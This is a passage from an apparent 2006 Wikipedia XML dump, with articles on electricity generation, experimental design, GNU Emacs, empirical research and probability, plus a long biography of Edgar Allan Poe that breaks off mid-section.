#{{note|faq}} [http://everything2.com/?node_id=444459 Voting/Experience System@Everything2.com]
#{{note|survey}} [http://www.everything2.com/index.pl?node_id=1422839 E2 political compass@Everything2.com]
==External links==
*[http://everything2.com/index.pl?node_id=124 Everything2.com home page]
*[http://everything2.com/?node_id=497885 Who owns our writeups?@Everything2.com]
*[http://everything2.com/?node=Wikipedia Wikipedia@Everything2.com]
*[http://www.everything2.com/index.pl?node=Everything2%20is%20not%20Wikipedia Everything2 is not Wikipedia@Everything2.com]

[[Category:Online encyclopedias]]

[[hu:Everything2]]
[[simple:Everything2]]
[[fi:Everything2]]
[[sv:Everything2]]</text>
    </revision>
  </page>
  <page>
    <title>Electricity generation</title>
    <id>9540</id>
    <revision>
      <id>41089841</id>
      <timestamp>2006-02-24T23:59:02Z</timestamp>
      <contributor>
        <ip>152.163.100.133</ip>
      </contributor>
      <comment>/* Electricity generation */</comment>
      <text xml:space="preserve">[[image:Itaipu2.jpg|right|250px|thumb|[[Itaipu]] Dam is a [[hydroelectricity|hydroelectric]] generating station]]

'''Electricity generation''' is the first process in the delivery of [[electricity]] to consumers.  The other three processes are [[electric power transmission]], [[electricity distribution]] and [[electricity retailing]]. 

==Electricity generation==

[[Image:US390721.png|thumb|left|200px|[[Nikola Tesla]]'s generation system  using  [[alternating current|AC]] circuits to transport [[energy]] across great distances.]]

The importance of dependable electricity generation, [[electric power transmission|transmission]] and [[electricity distribution | distribution]] was revealed when it became apparent that [[electricity]] was useful for providing heat, light and power for human activities. Decentralised power generation became possible when it was recognised that [[alternating current]] electric power lines can transport [[electricity]] at low costs across great distances  by taking advantage of the ability to transform the [[voltage]] using power [[transformer]]s.  

Electricity has been generated for the purpose of powering human technologies for at least 120 years from various sources of [[potential energy]]. The first power plants were run on wood, while today we rely mainly on [[petroleum]], [[natural gas]], [[coal]], [[hydroelectricity|hydroelectric]] and [[nuclear reactor|nuclear]] power and a small amount from [[hydrogen]],  [[solar power | solar energy]], [[Tidal power|tidal harnesses]], [[wind generator]]s, and [[geothermal]] sources.

==Electricity demand==

The demand for electricity can be met in two different ways.  The primary method thus far has been for public  or private utilities to construct large scale centralized projects to generate and transmit the electricity required to fuel growing economies.  Many of these projects have unpleasant environmental effects such as air or radiation pollution and the flooding of large areas of land.

Increasingly, [[distributed generation]] is seen as an alternate way to supply the electrical demand close to the users.  Smaller, distributed projects can:

*Protect from blackouts caused by the closure of de-centralised power plants or [[transmission lines]] for maintenance, market manipulation or emergency shut downs or detox

*Reduce pollution

*Allow smaller players to enter the energy markets

==Methods of generating electricity==

===Methods for transforming other power into electrical power===

Rotating [[turbines]] attached to [[electrical generator]]s produce most commercially available electricity. Turbines may be driven by using steam, water, wind or other fluids as an intermediate energy carrier. The most common usage is by steam in [[fossil fuel power plant]]s or [[nuclear power plant]]s, and by water in [[hydroelectric dams]]. Alternately, turbines can be driven directly by the [[combustion]] of natural gas. Co-generation gas turbines (COGT) offer efficiencies of up to 60%, as they generate power both directly by combustion of natural gas and also use residual heat to generate electricity from steam. Small mobile electricity generators are often powered by [[diesel engine]]s, especially on ships, remote building sites or for emergency standby.

[[Fuel cells]] produce electricity using a variety of chemicals and are seen by some people to be the most likely source of power in the long term, especially if [[hydrogen]] can be used as the feedstock.  However, hydrogen is usually only an [[energy carrier]], and must be formed by some other power source.

===Primary energy sources used in electrical power generation===

[[Image:fuel_shares_world_electricity_generation.png|thumb|World Electricity Generation]]
[[Image:elecgen_graph1.gif|thumb|right|U.S. Electricity Generation]]
The world relies mainly on [[coal]] and [[natural gas]] for power.  The high capital requirements of nuclear power and the fear of [[nuclear reactor|its dangers]] have prevented the ordering of new nuclear power plants in North America since the [[1970s]].

[[Steam turbine]]s can be powered using steam produced from [[geothermal]] sources, [[solar power | solar energy]], or [[Nuclear reactor]]s, which use the energy created by the fission of radioactive plutonium or uranium to generate heat.  Nuclear power plants often use a primary and secondary steam circuit to add an additional layer of protection between the location of the nuclear fuel and the generator room.

[[Hydroelectric]] power plants use water flowing directly through the turbines to power the generators. Tidal harnesses use the force of the moon on bodies of water to spin a turbine. [[Wind turbine]]s use wind to turn turbines that are hooked up to a generator. [[Pumped-storage hydroelectricity]] is used to [[grid energy storage|level demands]] on the [[power grid]]. 

Power generation by [[thermonuclear fusion]] has been suggested as a possible way of generating electricity; currently a number of technical obstacles and environmental concerns stand in the way, but if realized fusion might provide a relatively clean and safe source of electrical power.  The construction of a large experimental reactor ([[ITER]]) is expected to commence in 2005-2006.

===Improving efficiency===

Co-generation ([[combined heat and power]]) plants combine the generation of electricity and heat using [[solar power]], [[fossil fuels]], [[syngas]], [[biomass]], or [[biogas]] as a fuel source.  These plants can achieve efficiencies as high as 80%, but many of these plants being built today only expect to achieve stated maximum 55% efficiency. Heated steam turns a turbine, and then excess heat is distributed  for space heating in buildings, industrial processes or green house heating.  Whole communities can benefit from heat distributed through a [[Cogeneration|district heating scheme]].

The ability to achieve [[tri-generation]] using [[fossil fuels]] or [[solar power|solar energy]] to generate heat, electricity and evaporative cooling exists. These combined power plants have the best energy conversion ratio after hydroelectric plants. Small [[photovoltaic]] arrays, [[windmills]] and [[bicycles]] hooked up to a turbine can all be used to generate mobile electricity.

==Ownership and reform of electricity generation market== 
Electricity reform around the world is de-coupling electricity generation from the regulated [[monopoly]] elements of [[electric power transmission|transmission]] and [[electricity distribution]]; see [[electricity market]]. The generation and distribution of electricity is managed by either privately owned or state owned [[public utility|public utilities]]. In recent years some governments have started to [[privatization|privatise]] or [[corporatization|corporatise]] these utilities as part of a move to introduce market forces to [[monopolies]]. The [[New Zealand Electricity Market]] is a typical example.

==See also==
*[[Electricity]]
*[[Future energy development]]
*[[Renewable energy]]
*[[Environmental concerns with electricity generation]]

{{Sustainability and energy development group}}

[[Category:Electric power]]
[[Category:Electrical engineering]]
[[Category:Energy conversion]]

[[de:Stromerzeugung]]
[[es:Generación de electricidad]]
[[fr:Génération d'électricité]]
[[it:Produzione di energia elettrica]]
[[ja:発電]]
[[sv:Produktion av elektricitet]]</text>
    </revision>
  </page>
  <page>
    <title>Design of experiments</title>
    <id>9541</id>
    <revision>
      <id>34451787</id>
      <timestamp>2006-01-09T04:01:42Z</timestamp>
      <contributor>
        <ip>68.255.105.150</ip>
      </contributor>
      <text xml:space="preserve">The first [[statistics|statistician]] to consider a methodology for the '''design of experiments''' was [[Ronald Fisher|Sir Ronald A. Fisher]]. He described how to test the [[hypothesis]] that a certain lady could distinguish by flavor alone whether the milk or the tea was first placed in the cup. While this sounds like a frivolous application, it allowed him to illustrate the most important ideas of experimental design:
* [[Randomization]]
* [[Replication]]
* [[Blocking (statistics)|Blocking]]
* [[Orthogonality]]
* use of [[factorial experiment]]s instead of the [[one-factor-at-a-time method]]

Analysis of the design of [[experiment]]s was built on the foundation of the [[analysis of variance]], a collection of models in which the observed variance is partitioned into components due to different factors which are estimated and/or tested. 

In 1950, [[Gertrude Mary Cox]] and [[William Cochran]] published the book ''Experimental Design'' which became the major reference work on the design of experiments for statisticians for years afterwards.

Developments of the theory of [[linear model]]s have encompassed and surpassed the cases that concerned early writers. Today, the theory rests on advanced topics in [[abstract algebra]] and [[combinatorics]].

As with all other branches of statistics, there is both classical and [[Bayesian experimental design]].  

==See also==

* [[planning statistical research]]
* [[survey sampling]]
* [[independent variable]]
* [[dependent variable]]
* [[randomized controlled trial]]
* [[statistics]]
* [[statistical theory]]

==External links==
*[http://www-groups.dcs.st-andrews.ac.uk/~history/Mathematicians/Fisher.html Biography of R. A. Fisher]
*[http://www.umetrics.com/default.asp/pagename/methods_DOE_intro/c/1 Description of how to design experiments]
*A [http://www.itl.nist.gov/div898/handbook/pri/section1/pri1.htm chapter] from a [http://www.itl.nist.gov/div898/handbook/ handbook on engineering statistics] at [[National Institute of Standards and Technology|NIST]]
[[Category:Experimental design]]
[[category:Social sciences methodology]]

[[de:Statistische_Versuchsplanung]]</text>
    </revision>
  </page>
  <page>
    <title>GNU Emacs</title>
    <id>9542</id>
    <revision>
      <id>41100765</id>
      <timestamp>2006-02-25T01:21:39Z</timestamp>
      <contributor>
        <username>Where</username>
        <id>722151</id>
      </contributor>
      <minor />
      <comment>cat</comment>
      <text xml:space="preserve">{{Infobox_Software2
|logo = [[Image:Emacs_logo.png|24px|Emacs logo]]
|name = GNU Emacs
|screenshot =[[Image:emacs.png|200px|]]
|caption = The GNU Emacs interface, running in a graphical environment.
|developer = [[GNU Project]]
|operating_system = [[Cross-platform]]
|genre = [[Text editor]]
|license = [[GNU General Public License|GPL]]
|website = [http://www.gnu.org/software/emacs/ www.gnu.org/software/emacs/]
}}

'''GNU Emacs''' is one of the two most popular versions of [[Emacs]] (see also [[XEmacs]]).  The GNU Emacs manual describes it as &quot;the extensible, customizable, self-documenting, real-time display editor.&quot;

Since so much of the user interface of GNU Emacs and XEmacs is the same, a combined introduction is available in [[Emacs]].

==Distribution==
GNU Emacs is [[free software]], distributed under the terms of the [[GNU General Public License|GNU GPL]].

The source code and binaries are available via [[File Transfer Protocol|FTP]] from the GNU project website (see below). They are also widely available from other sites on the [[Internet]]. Vendors of [[Unix]] systems, both free and proprietary, frequently provide Emacs bundled with the [[operating system]].

GNU Emacs runs on a large number of platforms, including [[Linux|GNU/Linux]], [[FreeBSD]], most other variants of [[Unix]], [[Mac OS 8]]/[[Mac OS 9|OS 9]], [[Mac OS X]], and [[Microsoft Windows]].

==Development==
GNU Emacs is part of the [[GNU|GNU project]], and is under active development. Several, but not all, of the developers are  affiliated with the [[Free Software Foundation]] (FSF).

[[As of 2004]], the latest release of GNU Emacs is version 21.4. Development takes place in a single CVS trunk, which is at version 22.0.50. The current maintainer is [[Richard Stallman]].

Until [[1999]], GNU Emacs development was relatively closed, to the point where it was used as an example of the &quot;Cathedral&quot; development style in ''[[The Cathedral and the Bazaar]]''. The project has since adopted a public development mailing list and anonymous [[Concurrent Versions System|CVS]] access.  As with all GNU projects, it remains policy to accept significant code contributions only if the [[copyright]] holder assigns the code's copyright to the FSF, although one exception was made to this policy for the MULE (MULtilingual Extension) code [http://mail.gnu.org/archive/html/bug-gnu-emacs/2000-09/msg00065.html] since the copyright holder is the Japanese government and copyright assignment was not possible.  This does not apply to extremely minor code contributions or bug fixes.  There is no strict definition of minor, but as a guideline less than 10 lines of code is considered minor.  This policy is intended to facilitate [[copyleft]] enforcement, so that the FSF can defend the software in a court case if one arises.  This requirement by the GNU Emacs maintainers is assumed to affect contributions. Some people claim that it even affects performance, e g the inability of GNU Emacs to handle large files in an efficient manner could be blamed on the mentioned requirement repelling any serious developer. However, according to Stallman, it is more important for the program to be &quot;free&quot; than good in any other aspect. Enforcement provides legal confidence in the GNU Emacs [[free software license]]—the [[GNU General Public License]]—and in the free software itself—an intellectual work with many copyrights and contributors.

==References==
*Stallman, Richard M. (2002). ''GNU Emacs Manual''. 15th edition Boston, Massachusetts: Free Software Foundation. ISBN 1-882114-85-X.
*Cameron, Debra; Elliott, James; Loy, Marc. (December 2004). ''Learning GNU Emacs'', 3rd edition. O'Reilly &amp; Associates. ISBN 0596006489.
*Glickstein, Bob. (April 1997). ''Writing GNU Emacs Extensions''. O'Reilly &amp; Associates. ISBN 1-56592-261-1.

==External links==
*[http://www.gnu.org/software/emacs/emacs.html The GNU Emacs homepage] including
**[http://www.gnu.org/software/emacs/manual/ ''GNU Emacs Manual''. 15th ed. (Emacs 21.3). GNU Press, 2002] &amp;ndash; Online version ([[HTML]] from [[texinfo]]), published under the [[GNU Free Documentation Licence|GFDL]]
**[http://www.gnu.org/software/emacs/emacs-lisp-intro/ ''An Introduction to Programming in Emacs Lisp'']. 2nd ed. By R. Chassell
**[http://www.gnu.org/software/emacs/emacs-faq.text GNU Emacs FAQ]
**[http://www.gnu.org/software/emacs/windows/ntemacs.html GNU Emacs FAQ For Windows 95/98/ME/NT/XP and 2000]
*[http://www.emacswiki.org/ EmacsWiki] &amp;ndash; community site dedicated to documenting and discussing Emacs and XEmacs

[[Category:Linux text editors]]
[[Category:Mac OS text editors]]
[[Category:OpenVMS text editors]]
[[Category:Windows text editors]]
[[Category:File comparison tools]]
[[Category:Free text editors]]
[[Category:GNU project software|Emacs]]
[[Category:Emacs]]
[[Category:Integrated development environments]]

[[cs:Emacs]]
[[de:Emacs]]
[[es:Emacs]]
[[eo:Emacs]]
[[fr:GNU Emacs]]
[[he:Emacs]]
[[ia:Emacs]]
[[it:Emacs]]
[[ja:Emacs]]
[[ko:Emacs]]
[[nl:Emacs]]
[[pl:Emacs]]
[[pt:Emacs]]
[[ru:Emacs]]
[[sv:GNU Emacs]]
[[zh:Emacs]]</text>
    </revision>
  </page>
  <page>
    <title>Expectation operator</title>
    <id>9543</id>
    <revision>
      <id>15907421</id>
      <timestamp>2002-03-10T08:10:16Z</timestamp>
      <contributor>
        <username>AxelBoldt</username>
        <id>2</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[Expected value]]</text>
    </revision>
  </page>
  <page>
    <title>Estimating parameters</title>
    <id>9544</id>
    <revision>
      <id>34431633</id>
      <timestamp>2006-01-09T00:58:15Z</timestamp>
      <contributor>
        <username>MarkSweep</username>
        <id>58666</id>
      </contributor>
      <comment>rdr to [[estimation theory]]</comment>
      <text xml:space="preserve">#REDIRECT [[estimation theory]]</text>
    </revision>
  </page>
  <page>
    <title>Empirical research</title>
    <id>9545</id>
    <revision>
      <id>39470406</id>
      <timestamp>2006-02-13T09:36:59Z</timestamp>
      <contributor>
        <username>Lupo</username>
        <id>34978</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/84.92.214.230|84.92.214.230]] ([[User talk:84.92.214.230|talk]]) to last version by Karol Langner</comment>
      <text xml:space="preserve">'''Empirical research''' is any activity that uses direct or indirect [[observation]] as its test of [[reality]]. If atheoretical, it is a form of [[inductive reasoning]]. It may also be conducted according to [[Hypothetico deductive model|hypothetico-deductive]] procedures, such as those developed from the work of [[Ronald Fisher|R. A. Fisher]]. 

The ''empirical researcher'' attempts to describe accurately the interaction between his instrument (which may be as simple as the human eye) and the entity being observed. The researcher is expected to calibrate his instrument by applying it to known standard objects and documenting the results before applying it to unknown objects.

In practice, the accumulation of evidence for or against any particular theory involves planned [[research design]]s for the collection of empirical data. Several [[typography|typographies]] for such designs have been suggested, one of the most popular of which comes from Campbell and Stanley (1963). They are responsible for popularizing the widely cited distinction among pre-experimental, experimental, and quasi-experimental designs and are staunch advocates of the central role of randomized experiments in [[educational research]].

== Hallmarks of science ==

The main distinguishing characteristics of [[scientific research]] are [[purpose|purposiveness]], [[rigor]], [[test|testability]], [[replicate|replicability]], [[precision]] and [[confidence]], [[Wiktionary:objective|objectivity]], [[general|generalizability]], and [[parsimony]].

== See also ==

* [[Empirical method]]
* [[Empiricism]]
* [[Research]] 

== External links ==

* [http://www.ericdigests.org/2003-4/empirical-research.html Some Key Concepts for the Design and Review of Empirical Research]
* [http://www.ericdigests.org/2003-5/based.htm Scientifically Based Research]

[[Category:Research]]
[[Category:Empiricism|Research]]

[[nl:Empirisch onderzoek]]</text>
    </revision>
  </page>
  <page>
    <title>Engineering statistics</title>
    <id>9546</id>
    <revision>
      <id>15907424</id>
      <timestamp>2004-12-17T07:09:04Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <text xml:space="preserve">'''Engineering statistics''' is a branch of [[statistics]] that has two subtopics which are particular to [[engineering]]:
# [[Quality control]] and [[process control]] use statistics as a tool to manage conformance to specifications of manufacturing processes and their products.
# [[Time and methods engineering]] use statistics to study repetitive operations in manufacturing in order to set standards and find optimum (in some sense) manufacturing procedures.
[[Category:Engineering]][[Category:Statistics]]</text>
    </revision>
  </page>
  <page>
    <title>Eclectic probability</title>
    <id>9547</id>
    <revision>
      <id>15907425</id>
      <timestamp>2005-04-16T16:48:08Z</timestamp>
      <contributor>
        <username>SimonP</username>
        <id>1591</id>
      </contributor>
      <minor />
      <comment>[[Category:Probability theory]]</comment>
      <text xml:space="preserve">Many [[statistician]]s adopt an '''eclectic''' view of the debate between proponents of the [[frequency probability|frequency interpretation]] of [[probability]] and proponents of [[personal probability]]. These eclectics say in essence, &quot;if it walks like a duck...&quot;. They are willing to consider any phenomena which obey the [[probability axioms|axioms of probability theory]] as a reasonable interpretation. Sometimes they will use methods associated with frequentists and at other times, they use [[Bayesian]] methods.

Some [[philosophers]] of probability support eclectic probability as a principled, rather than pragmatic, view. They argue that different interpretations of probability are independent of one another, applying in different contexts. For example, one might accept a frequency interpretation of probability for repeatable experiments, a logical interpretation of probability for a single-case event with highly specific prior information, and a personal interpretation of probability for dealing with epistemic uncertainty, all without committing an inconsistency.
[[Category:Probability theory]]</text>
    </revision>
  </page>
  <page>
    <title>Edgar Allen Poe</title>
    <id>9548</id>
    <revision>
      <id>15907426</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Edgar Allan Poe]]
</text>
    </revision>
  </page>
  <page>
    <title>Edgar Allan Poe</title>
    <id>9549</id>
    <revision>
      <id>42112604</id>
      <timestamp>2006-03-03T22:25:43Z</timestamp>
      <contributor>
        <username>Nareek</username>
        <id>757353</id>
      </contributor>
      <minor />
      <comment>rv to last version by Rpab</comment>
      <text xml:space="preserve">[[image:Edgar_Allan_Poe_2.jpg|thumb|250px|right|This [[daguerreotype]] of Poe was taken less than a year before his death at the age of 40.]]
'''Edgar Allan Poe''' ([[January 19]], [[1809]] &amp;ndash; [[October 7]], [[1849]]) was an [[United States|American]] [[List of English language poets|poet]], [[short story]] writer, [[editor]] and [[critic]] and one of the leaders of the American [[Romanticism|Romantics]]. He is best known for his tales of the [[macabre]] and his poems, as well as being one of the early practitioners of the short story and a progenitor of [[detective fiction]], as well as [[crime fiction]] in the United States. He is also often credited with inventing the gothic fiction story.  Poe died at the age of 40, the cause of his death a final mystery. His exact burial location is also a source of controversy. 

==The life of Edgar Allan Poe==
[[Image:Edgar Allan Poe bust.jpg|thumb|250px|right|This bust of Edgar Allan Poe is found at the [[University of Virginia]], where he dropped out in [[1826]] due to gambling away his tuition funds.]]

Edgar Allan Poe was born to a [[Scots-Irish]] family in [[Boston, Massachusetts]], the son of actress [http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=4074 Elizabeth Arnold Hopkins Poe] and actor David Poe, Jr. His father abandoned the family in July [[1811]], and his mother died of [[tuberculosis]] when he was only two, so Poe was taken into the home of John Allan, a successful [[tobacco]] merchant in [[Richmond, Virginia]].  Although his middle name is often misspelled as &quot;Allen,&quot; it is actually &quot;Allan,&quot; after this family.

After attending the Misses Duborg boarding school in [[London, England]] and Manor School in [[Stoke Newington]], London, Poe moved back to the Allans in Richmond in [[1820]].  After serving an apprenticeship in [[Pawtucket]], Poe registered at the [[University of Virginia]] in [[1826]], but only stayed there for one year.  He became estranged from his foster father over [[gambling]] debts Poe had acquired while trying to get more spending money, and so Poe enlisted in the [[United States Army]] as a private, using the name Edgar A. Perry, on [[May 26]], [[1827]].  That same year, he released his first book, ''Tamerlane and Other Poems''.  After serving for two years and attaining the rank of sergeant major, Poe was [[military discharge|discharged]]. 

In [[1829]], Poe's foster mother Frances Allan died, and he published his second book, ''Al Aaraf''.  As per his foster mother's dying wish, Poe reconciled with his foster father, who coordinated an appointment for him to the [[United States Military Academy]] at West Point.  At West Point, however, Poe supposedly deliberately disobeyed orders and was dismissed.  After that, Poe and his foster father disowned each other until the latter's death on [[March 6]], [[1831]].

Poe next moved to [[Baltimore, Maryland]] with his widowed aunt, Maria Clemm, and her daughter, Poe's first cousin, [[Virginia Eliza Clemm Poe|Virginia Eliza]].  Poe wrote fiction to support himself, and in [[December]] [[1835]], began editing the ''Southern Literary Messenger'' for Thomas W. White in Richmond.  In [[1836]], he married  Virginia, then 13.

== Career ==
''The Narrative of Arthur Gordon Pym'' was published and widely reviewed in [[1838]]. In the summer of [[1839]], he became assistant editor of ''Burton's Gentleman's Magazine''. He published a large number of articles, stories, and reviews, enhancing the reputation as a trenchant critic that he had established at the ''Southern Literary Messenger''. Also in 1839, the collection ''Tales of the Grotesque and Arabesque'' was published in two volumes. Though not a financial success, it was a milestone in the history of American literature, collecting such classic Poe tales as &quot;[[The Fall of the House of Usher]]&quot;, &quot;[[MS. Found in a Bottle]]&quot;, &quot;[[Berenice (short story)|Berenice]]&quot;, &quot;[[Ligeia]]&quot; and &quot;[[William Wilson (short story)|William Wilson]]&quot;. Poe left ''Burton's'' after about a year and found a position as assistant editor at ''Graham's Magazine''.

One day in [[1842]] while Virginia (who reportedly had a lovely voice) was singing for Poe, she coughed and a tiny drop of blood appeared on her lip. It was the first sign of the [[tuberculosis]] that would make her an invalid and eventually take her life. Poe began to drink more heavily under the stress of Virginia's illness. He left ''Graham's'' and attempted to find a new position, for a time angling for a government post. He returned to New York, where he worked briefly at the ''Evening Mirror'' before becoming editor of the ''Broadway Journal''. There he became involved in a noisy public feud with [[Henry Wadsworth Longfellow]]. On [[January 29]], [[1845]], his poem &quot;[[The Raven]]&quot; appeared in the ''Evening Mirror'' and became a popular sensation.

The ''Broadway Journal'' failed in [[1846]]. Poe moved to a cottage in the Fordham section of [[The Bronx, New York]]. He loved the [[Jesuits]] at [[Fordham University]] and frequently strolled about its campus conversing with both students and faculty. [[Fordham University]]'s  bell tower even inspired him to write &quot;[[The Bells]].&quot; The Poe Cottage is on the southeast corner of the Grand Concourse and Kingsbridge Road, and is open to the public. Virginia died there in 1847. Increasingly unstable after his wife's death, Poe attempted to court the poet Sarah Helen Whitman. Their engagement failed, purportedly because of Poe's drinking and erratic behavior; however there is also strong evidence that Miss Whitman's mother intervened and did much to derail their relationship.  According to Poe's own account, he attempted suicide during this period by overdosing on [[laudanum]].  He then returned to Richmond and resumed a relationship with a childhood sweetheart, Sarah Elmira Royster, who, by that time, was a widow.

==Death==
[[Image:Poe Grave at Westminster 1.jpg|thumb|right|Edgar Allan Poe's reburial celebration on [[November 17]], [[1875]] at Westminster graveyard]] 
On [[October 3]], [[1849]] Poe was found on the streets of Baltimore, [[delirium|delirious]] and &quot;in great distress, and... in need of immediate assistance,&quot; according to the man who found him. He was taken to the Washington College Hospital, where he died early on the morning of October 7. Poe was never coherent long enough to explain how he came to be in his dire condition, and wearing clothes that were not his own. Poe is said to have repeatedly called out the name &quot;Reynolds&quot; on the night before his death, though no one has ever been able to identify the person to whom he referred. One Poe scholar, W. T. Bandy, has suggested that he may instead have called for &quot;Herring,&quot; (Poe's uncle was called Henry Herring). Some sources say Poe's final words were &quot;It's all over now; write 'Eddy is no more'.&quot; referring to his tombstone. Others say his last words were &quot;Lord, help my poor [[soul]].&quot;

The precise cause of Poe's death is disputed. Dr. J. E. Snodgrass, an acquaintance of Poe who was among those who saw him in his last days, was convinced that Poe's death was a result of [[alcoholism]], and did a great deal to popularize this interpretation of the events. He was, however, a supporter of the temperance movement who found Poe a useful example in his work; later scholars have shown that his account of Poe's death distorts facts to support his theory.  

Dr. John Moran, the physician who attended Poe, stated in his own [[1885]] account that &quot;Edgar Allan Poe did not die under the effect of any intoxicant, nor was the smell of liquor upon his breath or person.&quot; This was, however, only one of several sometimes contradictory accounts of Poe's last days he published over the years, so his testimony cannot be considered entirely reliable.  

Numerous other theories have been proposed over the years, including several forms of rare brain disease, diabetes, various types of enzyme deficiency, syphilis, the idea that Poe was [[Shanghaiing|shanghaied]], drugged, and used as a pawn in a ballot-box-stuffing scam during the election that was held on the day he was found, and more recently, rabies. The rabies death theory was proposed by Dr. R. Michael Benitez, and is based upon the fact that Poe's symptoms before death are similar to those displayed in a classic case of rabies.{{ref|umm}}  

In the absence of contemporary documentation (all surviving accounts are either incomplete or published years after the event; even Poe's death certificate, if one was ever made out, has been lost), it is likely that the cause of Poe's death will never be known.   

Poe is buried on the grounds of [[Westminster Hall and Burying Ground]]{{ref|cemetery}}, now part of the [[University of Maryland, Baltimore|University of Maryland School of Law]]{{ref|lawschool}} in Baltimore.

Even after death, however, Poe has created controversy and mystery. Because of his fame, school children collected money for a new burial spot closer to the front gate. He was reburied on [[October 1]], [[1875]]. A celebration was held at the dedication of the new tomb on [[November 17]]. Likely unknown to the reburial crew, however, the headstones on all the graves, previously facing to the east, were turned to face the West Gate in [[1864]].[http://www.nadn.navy.mil/EnglishDept/poeperplex/gravep.htm] Therefore, as it was described in a seemingly fitting turn of events: 

:''In digging on what they erroneously thought to be the right of the General Poe the committee naturally first struck old Mrs. Poe who had been buried thirty-six years before Edgar's mother-in-law; they tried again and presumably struck Mrs. Clemm who had been buried in 1876 only four years earlier. Henry's Poe's brother foot stone, it there, was respected for they obviously skipped over him and settled for the next body, which was on the Mosher lot. Because of the excellent condition of the teeth, he would certainly seem to have been the remains of Philip Mosher Jr, of the Maryland Militia, age 19.''   

Since Poe's death, his grave site has become a popular tourist attraction. Beginning in 1949, the grave has been visited every year in the early hours of Poe's birthday, January 19th, by a mystery man known endearingly as the [[Poe Toaster]]. It has been reported that a man draped in black with a silver-tipped cane, kneels at the grave for a toast of Martel [[cognac (drink)|Cognac]] and leaves the half-full bottle and three red roses. The three red roses supposedly are in memory of Poe himself, his mother-in-law and his wife Virginia.

==&quot;Memoir&quot; - Griswold's biography of Edgar Allan Poe==
The day Edgar Allan Poe was buried, a long [[obituary]] appeared in the ''[[New York Tribune]]'' signed &quot;Ludwig&quot;. The piece began, &quot;Edgar Allan Poe is dead. He died in Baltimore the day before yesterday. This announcement will startle many, but few will be grieved by it.&quot;{{ref|obit}} It was reprinted in numerous papers across the country. &quot;Ludwig&quot; was soon identified as [[Rufus Griswold]], a minor editor and anthologist who had borne a grudge against Poe since 1842, when Poe wrote a review of one of Griswold's anthologies, a review that Griswold deemed to be full of false praise. Though they were coolly polite in person, an enmity developed between the two men as they clashed over various matters. Critics have seen this obituary as a way for Griswold to finally settle his score with Poe.

Griswold went on to assume the role of Poe's [[literary executor]], though no evidence exists that Poe had ever made the choice. He convinced Poe's destitute mother-in-law Maria Clemm to hand over a mass of letters and manuscripts (which were never returned) and allow him to prepare an edition of Poe's collected works. Griswold assured Clemm that she would receive significant royalties, but she received nothing but a few sets of the edition, which she had to sell herself to make any sort of profit.

Rufus Griswold wrote a biographical &quot;Memoir&quot; of Poe, which he included in an additional volume of the collected works. Griswold depicted Poe as a depraved, drunk, drug-addled madman. This biography presented a starkly different version of Poe's biography than any other at the time, and included items now believed to have been forged by Griswold to bolster his case. Griswold's book was denounced by those who knew Edgar Allan Poe well; Griswold's account became a popularly accepted one, however, in part because it was the only full biography available and was widely reprinted, and in part because it seemed to accord with the narrative voice Poe used in much of his fiction.

No accurate biography of Poe appeared until John Ingram's of 1875. By then, however, Griswold's depiction of Poe was entrenched in the mind of the public, not only in America but around the world. Griswold's madman image of Poe is still existent in the modern perceptions of the man himself.

==Literary and artistic theory==
In his essay &quot;[[The Poetic Principle]]&quot;, Poe argued that there is no such thing as a long poem, since the ultimate purpose of [[art]] is [[aesthetic]], that is, its purpose is the effect it has on its audience, and this effect can only be maintained for a brief period of time (the time it takes to read a lyric poem, or watch a drama performed, or view a painting, etc.).  He argued that an [[Epic poetry|epic]], if it has any value at all, must be actually a series of smaller pieces, each geared towards a single effect or sentiment, which &quot;elevates the soul&quot;.

Poe associated the aesthetic aspect of art with pure [[ideality]], claiming that the mood or sentiment created by a work of art elevates the soul, and is thus a spiritual experience.  In many of his short stories, artistically inclined characters (especially Roderick Usher from &quot;[[The Fall of the House of Usher]]&quot;) are able to achieve this ideal aesthetic through ''fixation'', and often exhibit obsessive personalities and reclusive tendencies. &quot;[[The Oval Portrait]]&quot; also examines fixation, but in this case the object of fixation is itself a work of art.

He championed [[art for art's sake]] (before the term itself was coined). He was consequentially an opponent of [[Didactic literature|didacticism]], arguing in his literary criticisms that the role of [[morality|moral]] or [[ethical]] instruction lies outside the realm of poetry and art, which should only focus on the production of a beautiful work of art.  He criticized [[James Russell Lowell]] in a review for being excessively didactic and moralistic in his writings, and argued often that a poem should be written &quot;for a poem's sake&quot;.

He was a proponent and supporter of [[magazine]] literature, and felt that short stories, or &quot;tales&quot; as they were called in the early nineteenth century, which were usually considered &quot;vulgar&quot; or &quot;low art&quot; along with the magazines that published them, were legitimate art forms on par with the novel or epic poem.  His insistence on the artistic value of the short story was influential in the short story's rise to prominence in later generations.

Poe also focused the theme of each of his short stories on one human characteristic. In &quot;[[The Tell-Tale Heart]]&quot;, he focused on [[guilt]], in &quot;[[The Fall of the House of Usher]]&quot;, his focus was [[fear]], etc. He also once said how “[[allegory]] is an inferior form of literature, because it is designed to evoke interest in both the narrative and abstract ideas for which the story stands for and distracts the reader from the singleness effect”.

==Legacy and lore==
[[Image:Poe's_grave_Baltimore_MD.jpg|thumb|left|Edgar Allan Poe's grave, Baltimore MD.]]
Poe's works have had a broad influence on American and world literature (sometimes even despite those who tried to resist it), and even on the art world beyond literature. The scope of Poe's impact on art is evident when one sees the many and diverse artists who were directly and profoundly influenced by him.

====Detective Fiction====
He is often credited as being an originator in the genre of [[detective fiction]] with his three stories about [[Auguste Dupin]], the most famous of which is &quot;[[The Murders in the Rue Morgue]].&quot; (Poe also wrote a [[satirical]] detective story called [[&quot;Thou Art the Man&quot;]]) There is no doubt that he inspired mystery writers who came after him, particularly [[Arthur Conan Doyle]] in his series of stories featuring [[Sherlock Holmes]]. Doyle was once quoted as saying, &quot;Each [of Poe's detective stories] is a root from which a whole literature has developed....  Where was the detective story until Poe breathed the breath of life into it?&quot; (''Poe Encyclopedia'' 103). Though Poe's [[Auguste Dupin]] was not the first detective in fiction, he became an [[archetype]] for all subsequent detectives.  

